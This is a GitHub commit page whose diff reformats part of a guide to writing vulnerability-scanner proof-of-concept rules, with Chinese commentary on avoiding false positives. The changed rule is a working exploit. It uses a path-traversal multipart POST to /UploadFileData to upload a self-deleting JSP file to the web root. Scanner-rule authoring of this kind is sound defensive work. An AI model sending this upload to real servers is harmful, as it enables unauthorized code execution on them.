Skip to content

Commit

Permalink
[fix] 修复格式问题
Browse files Browse the repository at this point in the history
  • Loading branch information
Jarcis-cy committed Sep 22, 2023
1 parent 2d8de49 commit 27f5cf1
Showing 1 changed file with 8 additions and 7 deletions.
15 changes: 8 additions & 7 deletions guide/hiq/about_vulns.md
Original file line number Diff line number Diff line change
Expand Up @@ -358,12 +358,13 @@ rules:
cache: true
method: POST
path: /UploadFileData?action=upload_file&foldername=%2e%2e%2f&filename={{s2}}.jsp
body: >-
------WebKitFormBoundary{{rBoundary}}
Content-Disposition: form-data; name="myFile"; filename="test.jpg"
<% out.println(\"{{s1}}\"); new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary{{rBoundary}}--
body: "\
------WebKitFormBoundary{{rBoundary}}\r\n\
Content-Disposition: form-data; name=\"myFile\"; filename=\"test.jpg\"\r\n\
\r\n\
<% out.println(\"{{s1}}\"); new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
------WebKitFormBoundary{{rBoundary}}--\r\n\
"
headers:
Content-Type: multipart/form-data
expression: response.status == 200 && response.body.bcontains(b"showSucceedMsg")
Expand Down Expand Up @@ -602,4 +603,4 @@ detail:
- response.body.bcontains(b"maintain_basic.asp") 以及 response.body.bcontains(b"user_expire_time=") 说明了当发生未授权访问时,页面中相对于授权时会多出的内容
- 同时response.status == 200 尽可能地剔除了访问时产生404的页面,一定程度上节省开支

综上,我们可以判断这些条件足以使得此poc尽可能地避免误报,最终达成的效果会很好
综上,我们可以判断这些条件足以使得此poc尽可能地避免误报,最终达成的效果会很好

0 comments on commit 27f5cf1

Please sign in to comment.